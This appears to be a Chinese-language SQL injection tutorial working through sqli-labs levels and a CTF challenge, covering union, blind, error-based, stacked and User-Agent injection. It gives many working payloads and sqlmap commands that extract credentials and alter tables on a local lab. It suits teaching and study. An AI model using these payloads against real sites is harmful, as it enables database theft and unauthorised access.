1浅谈sql注入
1.1sql注入
sql注入是指web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是攻击者可控的,并且参数带入数据库查询,攻击者可以通过构造不同的sql语句来实现对数据库的任意操作
1.2原理
条件:
1.参数用户可控:前端传给后端的参数内容是用户可以控制的
2.参数带入数据查询:传入的参数拼接到sql语句,且带入数据库查询
当传入的id参数为1'时,数据库执行的代码为:
SELECT * from users where id=1'
由于这不符合数据库语法规范,所以会报错
当传入的id参数为and 1=1时,执行的sql语句为:
SELECT * from users where id=1 and 1=1
由于1=1为真,且where语句中id=1也为真,所以页面会返回与id=1相同的结果
但是当传入的id参数为and 1=2时,由于1=2并不成立,所以返回假,页面就会返回与id=1不同的结果
由上可以初步判断id参数存在sql注入漏洞,攻击者可以进一步拼接sql语句进行攻击,使得数据库信息泄露,甚至进一步获得服务器权限等。
1.3MySql
1.3.1 information_schema库
是信息数据库,其中保存着关于MySql服务器所维护的所有其他数据库的信息,比如数据库名,数据库表,表字段的数据类型与访问权限等
SCHEMATA表:存储该用户创建的所有数据库的库名(该表中记录数据库库名的字段名为SCHEMA_NAME)
SELECT * from SCHEMATA
TABLES表:存储该用户创建的所有数据库的库名和表名(该表中记录数据库库名和表名的字段名分别为TABLE_SCHEMA和TABLE_NAME)
SELECT * from TABLES
COLUMNS表:存储该用户创建的所有数据库的库名,表名和字段名(该表中记录数据库库名,表名和字段名的字段名为TABLE_SCHEMA, TABLE_NAME , COLUMN_NAME)
SELECT * from COLUMNS
1.3.2 mysql查询语句
SELECT 要查询的字段 FROM 库名.表名 WHERE 已知条件的字段名='已知条件的值'
1.3.3几个函数
database():当前网站使用的数据库
version():当前mysql的版本
user():当前mysql的用户
1.4sqlmap的使用
参考SQLMap使用教程:从入门到入狱详细指南_貌美不及玲珑心,贤妻扶我青云志的博客-CSDN博客
2.union注入
以sqlilab第一关为例
?id=1
?id=1'
?id=1 and 1=1
由于and 1=1 为真,所以页面应返回与id=1 一样的结果
?id=1 and 1=2
逻辑本身不成立,但是页面回显正常,说明这不是数字型
4.判断类型
?id=1' -- +
?id=1' and 1=1-- +
?id=1' and 1=2-- +
看到页面成功回显,那说明类型为字符型
或者?id=1, ?id=2, ?id=2-1
,如果id=2-1 与 id=1的页面一样,就是数字型;如果id=2-1与id=2的页面一样,就是字符型
5.查询该数据表的字段数量
?id=1' order by 3 -- +
?id=1' order by 4 -- +
得出字段数为3
6.爆回显位
?id=1' union select 1,2,3 -- +
可以看到页面执行成功,但是没有返回union select的结果。这是由于代码只返回第一条结果,所以union select 获取的结果没有输到页面。通过查询数据库可以发现只返回了第一条
可以通过设置参数id值,让服务端返回union select的结果。
如果把id值改为-1,因为数据库中没有-1的数据,所以会返回union select的结果
?id=-1' union select 1,2,3 -- +
回显2,3,这意味着2和3的位置可以输入mysql语句
7.爆库
在3的位置查询当前数据库名,使用database()函数得到库名是security
7.爆表名
?id=-1' union select 1,2, table_name from information_schema.tables where table_schema='security'-- +
但是我们查询一下数据库,会发现不止emais
所以这里需要用到一个函数
Group_concat()函数
用处:GROUP_CONCAT(xxx):是将分组中括号里对应的字符串进行连接.如果分组中括号里的参数xxx有多行,那么就会将这多行的字符串连接,每个字符串之间会有特定的符号进行分隔。
id=-1' union select 1,2, group_concat(table_name) from information_schema.tables where table_schema='security'-- +
8.爆字段
id=-1' union select 1,2, group_concat(column_name) from information_schema.columns where table_name='users'-- +
9.爆数据
这里使用concat_ws("",A,B.C),最后输出形式为A~B~C,有利于用户名和密码相对应,也可以把"~"改为16进制:0x7e
?id=-1' union select 1,2,group_concat(concat_ws("~",id,username , password)) from users--+
使用sqlmap跑一下
**1.**判断其是否存在注入的命令如下:
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1
2.查看数据库名称
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 --dbs
3.获取表名
列出了6个数据库名称,看到有一个 security的数据库,看看它有什么表。用 -D 选择数据库 security。再用 --tables 参数显示所有表名。
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security --tables
4。获取字段名
--tables
缩写成-T
,意思是在某表中继续查询
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users --columns
5.获取字段内容
sqlmap.py -u http://127.0.0.1/sqli/Less-1/?id=1 -D security -T users -C username,password --dump
3.布尔盲注
一般适用于页面没有回显字段(不支持联合查询),且web页面返回True 或者 false,
构造SQL语句,
利用and,or等关键字来其后的语句 true 、 false使web页面返回true或者false,
从而达到注入的目的来获取信息的一种方法根据页面结果得知是字符型但是和前面四关还是不一样是因为页面虽然有东西。但是只有对于请求对错出现不一样页面其余的就没有了。这个时候我们用联合注入就没有用,因为联合注入是需要页面有回显位。
以sqlilab第五关为例
?id=1
id=1'
发现无论如何修改id的值,返回的依然只有you are in或者报错
所以此处应该用布尔盲注:构造sql判断语句,通过查看页面的返回结果来推测哪些sql判断语条件是成立的,以获取数据库中的数据。
3.先判断列数
判断列数为3
4.判断库名长度是8 (使用 length()函数)
?id=1' and length(database())=8--+
5.判断数据库名
通过ascii()函数和substr()函数,比较ascii表
substr()函数 截取每一个字符,并穷举出字符内容
对比得到第一个字母为s
以此类推得到库名为security
6.判断表名长度
id=1' and length((select group_concat(table_name) from information_schema.tables where table_schema='security'))=29-- +
得到表名长度为29
7.判断表名
id=1' and ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101-- +
依次类推,得到表名
8.判断字段名长度
id=1' and length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20-- +
得到字段名长度为20
9.判断字段名
?id=1' and ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105 -- +
sqlmap
sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 --dbs
sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 -D security --tables
中间就省略了
sqlmap.py -u http://127.0.0.1/sqli/Less-2/?id=1 -D security -T users -C password,username --dump
3.时间盲注
自我认为跟布尔盲注差别不大
需要用到if函数跟sleep函数
if(查询语句,sleep(10),1)
页面不会有变化
1.判断闭合符
?id=1' and if(1=1,sleep(10),1)-- +
2.判断列数
3.判断数据库长度
id=1' and if(length((select database()))=8,sleep(10),1)-- +
这时页面加载了十秒,所以数据库长度是8
4.判断数据库名
?id=1' and if(ascii(substr((select database()),1,1))=115,sleep(10),1)-- +
以此类推得到为security
5.判断表的长度
/?id=1' and if(length((select group_concat(table_name)from information_schema.tables where table_schema='security'))=29,sleep(10),1)
为29
6.判断表的名称
?id=1' and if(ascii(substr((select group_concat(table_name)from information_schema.tables where table_schema='security'),1,1))=101,sleep(10),1)-- +
得到emails,referers,uagents,users
7.判断字段名长度
?id=1' and if(length((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()))=20,sleep(10),1)-- +
为20
8.判断字段名称
?id=1' and if(ascii(substr((select group_concat(column_name)from information_schema.columns where table_name='users' and table_schema=database()),1,1))=105,sleep(10),1)-- +
id,username,password
9.判断值的长度
?id=1' and if(length((select group_concat(id,username,password)from security.users))=192,sleep(5),1)-- +
192
10.判断值
?id=1' and if(ascii(substr((select group_concat(id,username,password)from security.users),1,1))=49,sleep(10),1)-- +
sqlmap
sqlmap.py -u http://127.0.0.1/sqli/Less-9/?id=1 -D security -T users -C password,username --dump
4.报错注入
updatexml()
UPDATEXML (xml_document, XPathstring, new_value)。
第一个参数:xml_document,文档名称。
第二个参数:XPathstring (Xpath格式的字符串),做内容定位。
第三个参数:new_value,String格式,替换查找到的符合条件的值。
concat() 把两个字符串合并
以sqlilab十三关为例
1.判断注入点
username输a'
password随便输了1
报错信息如下
说明闭合符是')
2.判断报错条件
1') and updatexml(1,0x7e,3) -- +
0x7e就是~
页面显示了报错函数指定的内容,说明可以使用报错注入
3.爆数据库
1') and updatexml(1,concat(0x7e,database()),3)-- +
发现数据库回显
4.爆表
1') and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3)-- +
5.爆字段名
1') and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3)-- +
6.爆值
这里发现因为长度被限制,就使用limit一个一个爆
1') and updatexml(1,concat(0x7e,(select concat(username,password) from security.users limit 0,1),0x7e),1) --+
sqlmap
有两个参数
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=11" --current-db
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" --tables
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" --columns
sqlmap.py -u http://127.0.0.1/sqli/Less-13/ --data "uname=1&passwd=1" -D "security" -T "users" -C username,password --dump
5.堆叠注入
参考文章:sql注入之堆叠注入_Toert_T的博客-CSDN博客
1.
2.因为1'时报错,说明闭合符号为单引号
1' order by 2 --+
得到字段数为2
4.尝试使用union联合注入,1' union select 1,2#
应该是过滤了select,不管是编码还是注释都不行,select一被禁用,联合查询和报错注入,布尔,时间盲注就都不可以使用。因此这个题使用堆叠注入。简单就是将一堆sql语句叠加在一起执行,使用分号结束上一个语句再叠加其他语句一起执行。
学习一下show()函数MySQL show()函数详述_mylcdshow是什么函数_qq_36801966的博客-CSDN博客
show databases //列出服务器可访问的数据库
show tables //显示该数据库内相关表的名称
show columns from tablename;//显示表tablename的字段、字段类型、键值信息、是否可以用null、默认值及其他信息
5.1';show database; 发现行得通
6.1';show tables;
-
1'; show columns from words; 爆words表
-
1'; show columns from `1919810931114514`# 爆这个表
关于在这里使用 ` 而不是 ' 的一些解释:
两者在linux下和windows下不同,linux下不区分,windows下区分。
在MySQL中 反引号 ` 用来区分保留字符与普通字符
单引号 ' 或双引号主要用于 字符串的引用符号
反勾号 ` 数据库、表、索引、列和别名用的是引用符是反勾号 (注:Esc下面的键)
有MYSQL保留字作为字段的,必须加上反引号来区分!!!
如果是数值,请不要使用引号,要用那个反引号包裹起来
9.从之前的回显发现实际上都是words表内的,若想得到flag中的内容,需将其换为words表内的内容进行回显
换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id
则需要以下三步:
将表名words换为其他的,类似于word1
将表名1919810931114514换为words
将列名flag换为id
并通过之前的过滤规则发现并没有过滤掉alter、rename等关键字
于是构造payload:
1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ; alter table `words` change `flag` `id` varchar(100);#
rename - 重命名 重命名表words为word1
alter - 变更列 变更表words中的列flag为id 且其性质为varchar(100)
10,改变数据库结构后,使用万能密码,得到flag
1' or 1=1#
6.UA注入
以sqlilab18为例
感觉和报错注入大同小异,就是注入点不一样
打开环境,给了你ip
1.看一下源代码
所以这两个框都没办法进行注入,使用bp抓包
2.把ua变成单引号
发现报错,则说明单引号是闭合符
3.ua为 '1'
看一下报错信息,可以发现有三个参数,分别是'ua','ip','用户'
但是我们只能设置ua,但是一定要用三个参数不然就会报错
尝试一下报错注入
' or updatexml(1,0x7e,3),1,2) -- +
4.爆库
' or updatexml(1,concat(0x7e,database()),3),1,2)-- +
5.爆表
' or updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),3),1,2)-- +
-
爆字段
' or updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema=database() and table_name='users')),3),1,2)-- +
7.爆值 使用limit
' or updatexml(1,concat(0x7e,(select concat(id,username,password)from security.users limit 0,1)),3),1,2)-- +